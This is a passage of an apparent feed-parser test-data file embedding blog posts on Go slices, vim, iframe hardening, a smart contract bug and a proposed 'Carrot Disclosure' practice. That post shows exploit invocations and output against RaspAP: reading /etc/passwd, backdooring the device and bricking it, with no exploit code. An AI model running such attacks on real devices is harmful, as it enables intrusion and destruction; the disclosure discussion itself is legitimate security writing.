warning: it was &lt;em&gt;extraordinarily fun&lt;/em&gt; to pinpoint.&lt;/p&gt;\n&lt;p&gt;I reached out to &lt;a href=\"https://airs.com/ian/\"&gt;Ian Lance Taylor&lt;/a&gt; who\n&lt;a href=\"https://cs.opensource.google/go/x/exp/+/03df57b9a50843fbf23bf90375d6584bcc8ea13d\"&gt;implemented&lt;/a&gt;\nthose functions in 2021 and he pointed me to &lt;a href=\"https://go.dev/blog/slices-intro\"&gt;Go Slices: usage and internals\n&lt;/a&gt;. Things indeed do become obvious once \nlooking at the &lt;a href=\"https://github.com/golang/go/blob/master/src/runtime/slice.go\"&gt;implementation of\n&lt;code&gt;slice&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;\n&lt;div class=\"codehilite\"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=\"kd\"&gt;type&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nx\"&gt;slice&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"kd\"&gt;struct&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"p\"&gt;{&lt;/span&gt;\n&lt;span class=\"w\"&gt;    &lt;/span&gt;&lt;span class=\"nx\"&gt;array&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nx\"&gt;unsafe&lt;/span&gt;&lt;span class=\"p\"&gt;.&lt;/span&gt;&lt;span class=\"nx\"&gt;Pointer&lt;/span&gt;\n&lt;span class=\"w\"&gt;    &lt;/span&gt;&lt;span class=\"nx\"&gt;len&lt;/span&gt;&lt;span class=\"w\"&gt;   &lt;/span&gt;&lt;span class=\"kt\"&gt;int&lt;/span&gt;\n&lt;span class=\"w\"&gt;    &lt;/span&gt;&lt;span class=\"nx\"&gt;cap&lt;/span&gt;&lt;span class=\"w\"&gt;   &lt;/span&gt;&lt;span class=\"kt\"&gt;int&lt;/span&gt;\n&lt;span class=\"p\"&gt;}&lt;/span&gt;\n&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;\n\n&lt;p&gt;Both &lt;code&gt;slices.SortFunc&lt;/code&gt; and &lt;code&gt;slices.CompactFunc&lt;/code&gt; are taking a slice as\nparameter, and not a pointer to a slice, meaning that any changes to &lt;code&gt;len&lt;/code&gt; and\n&lt;code&gt;cap&lt;/code&gt; will be local to the function.&lt;/p&gt;\n&lt;p&gt;Anyway, There is a &lt;a href=\"https://github.com/golang/go/issues/20803\"&gt;proposal&lt;/a&gt; to require\nreturn values to be explicitly used or ignored open since 2017, but it didn't\ngo anywhere for now. There is also &lt;a href=\"https://github.com/golang/go/issues/20148\"&gt;another proposal&lt;/a&gt;\nto make &lt;code&gt;go vet&lt;/code&gt; better at highlighting error mishandling, as well as &lt;a href=\"https://github.com/kisielk/errcheck\"&gt;errcheck&lt;/a&gt;,\nbut those wouldn't really help in this case.&lt;/p&gt;</content><category term=\"dev\"></category></entry></feed>"
  },
  {
    "path": "internal/reader/parser/testdata/large_rss.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<rss version=\"2.0\"><channel><title>Artificial truth</title><link>https://dustri.org/b/</link><description></description><lastBuildDate>Sun, 10 Mar 2024 17:15:00 +0100</lastBuildDate><item><title>Using vale with vim</title><link>https://dustri.org/b/using-vale-with-vim.html</link><description>&lt;p&gt;&lt;a href=\"https://en.wikipedia.org/wiki/LWN.net\"&gt;LWN&lt;/a&gt; recently published an excellent\n(subscriber only) &lt;a href=\"https://lwn.net/Articles/964075/\"&gt;article&lt;/a&gt; on\n&lt;a href=\"https://vale.sh/\"&gt;vale&lt;/a&gt;, an &lt;em&gt;editorial style&lt;/em&gt; linter. One of the original goal\nof this little corner on the internet was to improve my English, a purpose it\nkeeps serving. Adding some lightweight tooling to my text editor to push this\ngoal even further sounds great.&lt;/p&gt;\n&lt;p&gt;Like all good software, vale &lt;a href=\"https://gitlab.alpinelinux.org/alpine/aports/-/tree/master/testing/vale\"&gt;is\npackaged&lt;/a&gt;\nin Alpine, although it looked a tad neglected, so I sent &lt;a href=\"https://gitlab.alpinelinux.org/alpine/aports/-/merge_requests/61919\"&gt;a\npull-request&lt;/a&gt;\nto get it updated.\nIts configuration is pretty straightforward: a &lt;code&gt;~/.vale.ini&lt;/code&gt; file, with\nwhere to store/read its data and some preferences. It comes with a\n&lt;a href=\"https://vale.sh/hub/\"&gt;couple of &lt;em&gt;packages&lt;/em&gt;&lt;/a&gt; for popular styles, like the ones\nfrom &lt;a href=\"https://vale.sh/hub/microsoft/\"&gt;Microsoft&lt;/a&gt;,\n&lt;a href=\"https://vale.sh/hub/google/\"&gt;Google&lt;/a&gt;, &lt;a href=\"https://vale.sh/hub/redhat/\"&gt;RedHat&lt;/a&gt;, … then a simple &lt;code&gt;vale sync&lt;/code&gt; to force it to\ndownload and store the data, and you're good to go.&lt;/p&gt;\n&lt;p&gt;While &lt;code&gt;vale&lt;/code&gt; can be called from the command line, integration with my text\neditor is way more comfy. I'm sure there are a ton of plugins to integrate it\nwith vim, but I'm not a huge fan of having my text editor run arbitrary code\nfrom the internet, so I threw the following 6 lines in &lt;a href=\"https://dustri.org/pub/vimrc\"&gt;my vimrc&lt;/a&gt; instead:&lt;/p&gt;\n&lt;div class=\"codehilite\"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=\"nv\"&gt;augroup&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nv\"&gt;vale&lt;/span&gt;\n&lt;span class=\"w\"&gt;  &lt;/span&gt;&lt;span class=\"k\"&gt;if&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nv\"&gt;filereadable&lt;/span&gt;&lt;span class=\"ss\"&gt;(&lt;/span&gt;&lt;span class=\"nv\"&gt;expand&lt;/span&gt;&lt;span class=\"ss\"&gt;(&lt;/span&gt;&lt;span class=\"s2\"&gt;&amp;quot;~/.vale.ini&amp;quot;&lt;/span&gt;&lt;span class=\"ss\"&gt;))&lt;/span&gt;\n&lt;span class=\"w\"&gt;    &lt;/span&gt;&lt;span class=\"nv\"&gt;autocmd&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nv\"&gt;FileType&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nv\"&gt;markdown&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nv\"&gt;setlocal&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nv\"&gt;makeprg&lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"nv\"&gt;vale&lt;/span&gt;\\&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;--&lt;/span&gt;&lt;span class=\"nv\"&gt;output&lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"nv\"&gt;line&lt;/span&gt;\\&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;%&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nv\"&gt;errorformat&lt;/span&gt;&lt;span class=\"o\"&gt;=%&lt;/span&gt;&lt;span class=\"nv\"&gt;f&lt;/span&gt;:&lt;span class=\"o\"&gt;%&lt;/span&gt;&lt;span class=\"nv\"&gt;l&lt;/span&gt;:&lt;span class=\"o\"&gt;%&lt;/span&gt;&lt;span class=\"nv\"&gt;c&lt;/span&gt;:&lt;span class=\"o\"&gt;%&lt;/span&gt;&lt;span class=\"nv\"&gt;o&lt;/span&gt;:&lt;span class=\"o\"&gt;%&lt;/span&gt;&lt;span class=\"nv\"&gt;m&lt;/span&gt;\n&lt;span class=\"w\"&gt;    &lt;/span&gt;&lt;span class=\"nv\"&gt;nnoremap&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;&amp;lt;&lt;/span&gt;&lt;span class=\"nv\"&gt;Leader&lt;/span&gt;&lt;span class=\"o\"&gt;&amp;gt;&lt;/span&gt;&lt;span class=\"nv\"&gt;M&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;:&lt;span class=\"nv\"&gt;make&lt;/span&gt;&lt;span class=\"o\"&gt;&amp;lt;&lt;/span&gt;&lt;span class=\"nv\"&gt;CR&lt;/span&gt;&lt;span class=\"o\"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class=\"nv\"&gt;CR&lt;/span&gt;&lt;span class=\"o\"&gt;&amp;gt;&lt;/span&gt;\n&lt;span class=\"w\"&gt;  &lt;/span&gt;&lt;span class=\"k\"&gt;end&lt;/span&gt;\n&lt;span class=\"nv\"&gt;augroup&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"k\"&gt;end&lt;/span&gt;\n&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;\n\n&lt;p&gt;It checks if I have a &lt;code&gt;~/vale.ini&lt;/code&gt; file, and if so sets\n&lt;a href=\"https://vimhelp.org/options.txt.html#%27makeprg%27\"&gt;&lt;code&gt;makeprg&lt;/code&gt;&lt;/a&gt; to vale, and\nconfigure &lt;a href=\"https://vimhelp.org/quickfix.txt.html#errorformat\"&gt;&lt;code&gt;errorformat&lt;/code&gt;&lt;/a&gt; to\nproperly parse vale's output. Now every time I type &lt;code&gt;&amp;lt;Leader&amp;gt; M&lt;/code&gt;, I get vale's\ndiagnostics in my &lt;a href=\"https://vimhelp.org/quickfix.txt.html\"&gt;quickfix window&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;The next steps would likely be to &lt;s&gt;waste&lt;/s&gt; spend some time improving the theme\nof the aforementioned window, add some ad hoc rules to vale, and maybe try to\nshow the diagnostics inline like the spellechecker is doing.&lt;/p&gt;</description><dc:creator xmlns:dc=\"http://purl.org/dc/elements/1.1/\">jvoisin</dc:creator><pubDate>Sun, 10 Mar 2024 17:15:00 +0100</pubDate><guid isPermaLink=\"false\">tag:dustri.org,2024-03-10:/b/using-vale-with-vim.html</guid><category>sysadmin</category></item><item><title>Carrot disclosure</title><link>https://dustri.org/b/carrot-disclosure.html</link><description>&lt;p&gt;Once you have found a vulnerability, you can either sit on it, or disclose it.\nThere are usually two ways to disclose, with minor variations:&lt;/p&gt;\n&lt;ol&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Coordinated_vulnerability_disclosure\"&gt;Coordinated Disclosure&lt;/a&gt;,\n   where one gives time to the vendor to issue a fix before disclosing&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Full_disclosure_(computer_security)\"&gt;Full Disclosure&lt;/a&gt;,\n   where one discloses immediately without notifying anyone before.&lt;/li&gt;\n&lt;/ol&gt;\n&lt;p&gt;I would like to coin a 3&lt;sup&gt;rd&lt;/sup&gt; one: &lt;em&gt;Carrot Disclosure&lt;/em&gt;, dangling a\n&lt;a href=\"https://en.wikipedia.org/wiki/Carrot_and_stick\"&gt;metaphorical carrot&lt;/a&gt; in front\nof the vendor to incentivise change. The main idea is to only publish the\n(redacted) output of the exploit for a critical vulnerability, to showcase that the\nsoftware is exploitable. Now the vendor has two choices: either perform a\nholistic audit of its software, fixing as many issues as possible in the hope\nof fixing the showcased vulnerability; or losing users who might not be happy\nrunning a known-vulnerable software. Users of this disclosure model are of\ncourse called Bugs Bunnies.&lt;/p&gt;\n&lt;p&gt;We all looked at catastrophic web applications, finding a ton\nof bugs, and deciding not to bother with reporting them, because they were too\nmany of them, because we knew that there will be more of them lurking, because\nthe vendor is a complete tool and it would take more time trying to properly\ndisclose things than it took finding the vulnerabilities, … This is an\nexcellent use case for Carrot Disclosure! Of course, for unauditably-large\ncodebases, it doesn't work: you've got a Linux LPE, who cares.&lt;/p&gt;\n&lt;p&gt;Interestingly, it shifts the work balance a bit: it's usually harder to write\nan exploit than it's to fix here. But here, the vendor has to audit and fix\nits entire codebase, for the ~low cost of one (1) exploit, that you don't even\nhave to publish if you don't want to.&lt;/p&gt;\n&lt;p&gt;If you want to be extra-nice, you can:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Publish the SHA256 of the exploit, to prove\n  that you weren't making things up, once it's fixed or if you get sued for\n  whatever frivolous reasons like libel.&lt;/li&gt;\n&lt;li&gt;Maintain the exploits against new versions, proving that the exploit is still\n  working.&lt;/li&gt;\n&lt;li&gt;Publish the exploit once it has been fixed, otherwise you risk to have\n  vendors call your bluff next time, or at least notify that the issue has been\n  fixed. Since you don't have hardcoded offsets because we're in 2024, you can even\n  put this in a continuous integration.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;Let's have an example, as a treat. A couple of shitty vulnerabilities for\n&lt;a href=\"https://raspap.com/\"&gt;RaspAP&lt;/a&gt; that took me 5 minutes to find and at least 5\nmore to write an exploit for each of them:&lt;/p&gt;\n&lt;div class=\"codehilite\"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=\"gp\"&gt;$ &lt;/span&gt;./read-raspap.py&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"m\"&gt;10&lt;/span&gt;.3.141.1&lt;span class=\"w\"&gt; &lt;/span&gt;/etc/passwd&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"p\"&gt;|&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;head&lt;span class=\"w\"&gt; &lt;/span&gt;-n&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"m\"&gt;5&lt;/span&gt;\n&lt;span class=\"go\"&gt;[+] Target is running RaspAP&lt;/span&gt;\n&lt;span class=\"go\"&gt;[+] Dumping /etc/passwd&lt;/span&gt;\n&lt;span class=\"go\"&gt;root:x:0:0:root:/root:/bin/bash&lt;/span&gt;\n&lt;span class=\"go\"&gt;daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin&lt;/span&gt;\n&lt;span class=\"go\"&gt;bin:x:2:2:bin:/bin:/usr/sbin/nologin&lt;/span&gt;\n&lt;span class=\"gp\"&gt;$ &lt;/span&gt;./authed-mitm-raspap.py&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"m\"&gt;10&lt;/span&gt;.3.141.1\n&lt;span class=\"go\"&gt;[+] default login/password in use&lt;/span&gt;\n&lt;span class=\"go\"&gt;[+] backdooring system…&lt;/span&gt;\n&lt;span class=\"go\"&gt;[+] system backdoored, enjoy your permanent MITM!&lt;/span&gt;\n&lt;span class=\"gp\"&gt;$ &lt;/span&gt;./brick-raspap.py&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"m\"&gt;10&lt;/span&gt;.3.141.1\n&lt;span class=\"go\"&gt;[+] Target is running RaspAP&lt;/span&gt;\n&lt;span class=\"go\"&gt;[+] Bricking the system…&lt;/span&gt;\n&lt;span class=\"go\"&gt;[+] System bricked!&lt;/span&gt;\n&lt;span class=\"gp\"&gt;$&lt;/span&gt;\n&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;\n\n&lt;p&gt;It looks like there is a low-hanging unauthenticated arbitrary code execution\nchainable with a privilege escalation to root as well, but since writing an\nexploit would take more than 5 minutes, I can't be bothered, and odds are that\nit'll be fixed along with the persistent denial-of-service anyway. Let me know\nwhen you think those are fixed.&lt;/p&gt;</description><dc:creator xmlns:dc=\"http://purl.org/dc/elements/1.1/\">jvoisin</dc:creator><pubDate>Fri, 08 Mar 2024 21:30:00 +0100</pubDate><guid isPermaLink=\"false\">tag:dustri.org,2024-03-08:/b/carrot-disclosure.html</guid><category>security</category></item><item><title>Youtube video embedding harm reduction</title><link>https://dustri.org/b/youtube-video-embedding-harm-reduction.html</link><description>&lt;p&gt;Embedding external content on a website in the current enshittocene period is\nmore annoying than ever, so here is a copy-pasteable snippet to embed a youtube\nvideo while reducing its tracking and nuisance capabilities as much as possible:&lt;/p&gt;\n&lt;div class=\"codehilite\"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=\"p\"&gt;&amp;lt;&lt;/span&gt;&lt;span class=\"nt\"&gt;iframe&lt;/span&gt;\n    &lt;span class=\"na\"&gt;credentialless&lt;/span&gt;\n    &lt;span class=\"na\"&gt;allowfullscreen&lt;/span&gt;\n    &lt;span class=\"na\"&gt;referrerpolicy&lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"s\"&gt;&amp;quot;no-referrer&amp;quot;&lt;/span&gt;\n    &lt;span class=\"na\"&gt;sandbox&lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"s\"&gt;&amp;quot;allow-scripts allow-same-origin&amp;quot;&lt;/span&gt;\n    &lt;span class=\"na\"&gt;allow&lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"s\"&gt;&amp;quot;accelerometer &amp;#39;none&amp;#39;; ambient-light-sensor &amp;#39;none&amp;#39;; autoplay &amp;#39;none&amp;#39;; battery &amp;#39;none&amp;#39;; bluetooth &amp;#39;none&amp;#39;; browsing-topics &amp;#39;none&amp;#39;; camera &amp;#39;none&amp;#39;; ch-ua &amp;#39;none&amp;#39;; display-capture &amp;#39;none&amp;#39;; domain-agent &amp;#39;none&amp;#39;; document-domain &amp;#39;none&amp;#39;; encrypted-media &amp;#39;none&amp;#39;; execution-while-not-rendered &amp;#39;none&amp;#39;; execution-while-out-of-viewport &amp;#39;none&amp;#39;; gamepad &amp;#39;none&amp;#39;; geolocation &amp;#39;none&amp;#39;; gyroscope &amp;#39;none&amp;#39;; hid &amp;#39;none&amp;#39;; identity-credentials-get &amp;#39;none&amp;#39;; idle-detection &amp;#39;none&amp;#39;; keyboard-map &amp;#39;none&amp;#39;; local-fonts &amp;#39;none&amp;#39;; magnetometer &amp;#39;none&amp;#39;; microphone &amp;#39;none&amp;#39;; midi &amp;#39;none&amp;#39;; navigation-override &amp;#39;none&amp;#39;; otp-credentials &amp;#39;none&amp;#39;; payment &amp;#39;none&amp;#39;; picture-in-picture &amp;#39;none&amp;#39;; publickey-credentials-create &amp;#39;none&amp;#39;; publickey-credentials-get &amp;#39;none&amp;#39;; screen-wake-lock &amp;#39;none&amp;#39;; serial &amp;#39;none&amp;#39;; speaker-selection &amp;#39;none&amp;#39;; sync-xhr &amp;#39;none&amp;#39;; usb &amp;#39;none&amp;#39;; web-share &amp;#39;none&amp;#39;; window-management &amp;#39;none&amp;#39;; xr-spatial-tracking &amp;#39;none&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class=\"err\"&gt;,&lt;/span&gt;\n    &lt;span class=\"na\"&gt;csp&lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"s\"&gt;&amp;quot;sandbox allow-scripts allow-same-origin;&amp;quot;&lt;/span&gt;\n    &lt;span class=\"na\"&gt;width&lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"s\"&gt;&amp;quot;560&amp;quot;&lt;/span&gt;\n    &lt;span class=\"na\"&gt;height&lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"s\"&gt;&amp;quot;315&amp;quot;&lt;/span&gt;\n    &lt;span class=\"na\"&gt;src&lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"s\"&gt;&amp;quot;https://www.youtube-nocookie.com/embed/jfKfPfyJRdk&amp;quot;&lt;/span&gt;\n    &lt;span class=\"na\"&gt;title&lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"s\"&gt;&amp;quot;lofi hip hop radio 📚 - beats to relax/study to&amp;quot;&lt;/span&gt;\n    &lt;span class=\"na\"&gt;frameborder&lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"s\"&gt;&amp;quot;0&amp;quot;&lt;/span&gt;\n    &lt;span class=\"na\"&gt;loading&lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"s\"&gt;&amp;quot;lazy&amp;quot;&lt;/span&gt;\n&lt;span class=\"p\"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class=\"nt\"&gt;iframe&lt;/span&gt;&lt;span class=\"p\"&gt;&amp;gt;&lt;/span&gt;\n&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;\n\n&lt;ul&gt;\n&lt;li&gt;&lt;a href=\"https://developer.mozilla.org/en-US/docs/Web/Security/IFrame_credentialless\"&gt;&lt;code&gt;credentialless&lt;/code&gt;&lt;/a&gt; to load youtube in a blank disposable context,\n  without access to the origin's network, cookies, and storage data.&lt;/li&gt;\n&lt;li&gt;&lt;code&gt;allowfullscreen&lt;/code&gt; because some people like it&lt;/li&gt;\n&lt;li&gt;&lt;code&gt;referrerpolicy&lt;/code&gt; set to not leak your &lt;a href=\"https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer\"&gt;referer&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;code&gt;sandbox&lt;/code&gt; to only allow javascript execution and SOP. Downloads, forms,\n  modals, screen orientation, pointer lock, popups, presentation session,\n  &lt;a href=\"https://developer.mozilla.org/en-US/docs/Web/API/Storage_Access_API\"&gt;storage access&lt;/a&gt; and thus third-party cookies, \n  top-navigation, … are all denied.&lt;/li&gt;\n&lt;li&gt;&lt;code&gt;allow&lt;/code&gt; with &lt;a href=\"https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Permissions-Policy#directives\"&gt;every single directives&lt;/a&gt;\n  set to \"absolutely-fucking-not\", and yes, they have to be all set one by one,\n  and check regularly is new directive were added,\n  because there is &lt;a href=\"https://github.com/w3c/webappsec-permissions-policy/issues/208\"&gt;no deny-all&lt;/a&gt;\n  in the &lt;a href=\"https://w3c.github.io/webappsec-permissions-policy/\"&gt;spec&lt;/a&gt;. It seems\n  that every browser has its own list of directives, chrome is using &lt;a href=\"https://github.com/w3c/webappsec-permissions-policy/blob/main/features.md\"&gt;this one&lt;/a&gt;\n  while firefox' prefers the &lt;a href=\"https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Permissions-Policy#directives\"&gt;MDN one&lt;/a&gt;,\n  and of course the two differ. No doubt this was designed with privacy, simplicity, maintainability and security in mind.&lt;/li&gt;\n&lt;li&gt;&lt;code&gt;src&lt;/code&gt; set to &lt;code&gt;www.youtube-nocookie.com&lt;/code&gt; instead of &lt;code&gt;youtube.com&lt;/code&gt;. Both\n   are official Google urls, but the former doesn't do tracking via cookies,\n   and disables API and interaction and interaction logging. Amusingly, it's\n   the player used on &lt;code&gt;whitehouse.gov&lt;/code&gt;.&lt;/li&gt;\n&lt;li&gt;&lt;code&gt;csp&lt;/code&gt; set to &lt;code&gt;sandbox allow-scripts allow-same-origin;&lt;/code&gt; for compatibility's\n  sake, just in case.\n  I'd love to use a more restrictive policy, but the spec doesn't allow to\n  provide one, except if the embedded website explicitly allows it, and of\n  course youtube doesn't.&lt;/li&gt;\n&lt;li&gt;&lt;code&gt;loading=\"lazy\"&lt;/code&gt; in case people don't scroll far enough to see the video, no\n  need to make them do queries to Google for no reasons.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;Don't forget to put a &lt;code&gt;title&lt;/code&gt; for &lt;a href=\"https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe#accessibility_concerns\"&gt;accessibility's sake&lt;/a&gt;.&lt;/p&gt;</description><dc:creator xmlns:dc=\"http://purl.org/dc/elements/1.1/\">jvoisin</dc:creator><pubDate>Tue, 27 Feb 2024 14:45:00 +0100</pubDate><guid isPermaLink=\"false\">tag:dustri.org,2024-02-27:/b/youtube-video-embedding-harm-reduction.html</guid><category>web</category></item><item><title>A silly \"smart\" contract bug</title><link>https://dustri.org/b/a-silly-smart-contract-bug.html</link><description>&lt;p&gt;I was idling on a &lt;a href=\"https://github.com/stypr\"&gt;friend&lt;/a&gt;'s Discord server,\nwhen he posted a small snippet of code, taken from a &lt;a href=\"https://app.sentio.xyz/tx/1/0x4b9de8c56c8919e8598181449a3cc02df40435eb641eaec08ecce12d2342237f/contracts\"&gt;smart contract&lt;/a&gt;\napparently swapping &lt;a href=\"https://academy.binance.com/en/articles/what-is-wrapped-ether-weth-and-how-to-wrap-it\"&gt;WETH&lt;/a&gt; to &lt;a href=\"https://miner.build/\"&gt;MINER&lt;/a&gt;, but who cares, what's \ninteresting here is the bug, can you spot it?&lt;/p&gt;\n&lt;div class=\"codehilite\"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=\"kt\"&gt;function&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nv\"&gt;_update&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"kt\"&gt;address&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nv\"&gt;from&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"kt\"&gt;address&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nv\"&gt;to&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"kt\"&gt;uint256&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nv\"&gt;value&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"kt\"&gt;bool&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nv\"&gt;mint&lt;/span&gt;&lt;span class=\"p\"&gt;)&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"kt\"&gt;internal&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;virtual&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"p\"&gt;{&lt;/span&gt;\n&lt;span class=\"w\"&gt;        &lt;/span&gt;&lt;span class=\"kt\"&gt;uint256&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nv\"&gt;fromBalance&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;_balances&lt;span class=\"p\"&gt;[&lt;/span&gt;from&lt;span class=\"p\"&gt;];&lt;/span&gt;\n&lt;span class=\"w\"&gt;        &lt;/span&gt;&lt;span class=\"kt\"&gt;uint256&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nv\"&gt;toBalance&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;_balances&lt;span class=\"p\"&gt;[&lt;/span&gt;to&lt;span class=\"p\"&gt;];&lt;/span&gt;\n&lt;span class=\"w\"&gt;        &lt;/span&gt;&lt;span class=\"kt\"&gt;if&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;fromBalance&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;&amp;lt;&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;value&lt;span class=\"p\"&gt;)&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"p\"&gt;{&lt;/span&gt;\n&lt;span class=\"w\"&gt;            &lt;/span&gt;revert&lt;span class=\"w\"&gt; &lt;/span&gt;ERC20InsufficientBalance&lt;span class=\"p\"&gt;(&lt;/span&gt;from&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;fromBalance&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;value&lt;span class=\"p\"&gt;);&lt;/span&gt;\n&lt;span class=\"w\"&gt;        &lt;/span&gt;&lt;span class=\"p\"&gt;}&lt;/span&gt;\n\n&lt;span class=\"w\"&gt;        &lt;/span&gt;unchecked&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"p\"&gt;{&lt;/span&gt;\n&lt;span class=\"w\"&gt;            &lt;/span&gt;&lt;span class=\"c1\"&gt;// Overflow not possible: value &amp;lt;= fromBalance &amp;lt;= totalSupply.&lt;/span&gt;\n&lt;span class=\"w\"&gt;            &lt;/span&gt;_balances&lt;span class=\"p\"&gt;[&lt;/span&gt;from&lt;span class=\"p\"&gt;]&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;fromBalance&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;-&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;value&lt;span class=\"p\"&gt;;&lt;/span&gt;\n\n&lt;span class=\"w\"&gt;            &lt;/span&gt;&lt;span class=\"c1\"&gt;// Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.&lt;/span&gt;\n&lt;span class=\"w\"&gt;            &lt;/span&gt;_balances&lt;span class=\"p\"&gt;[&lt;/span&gt;to&lt;span 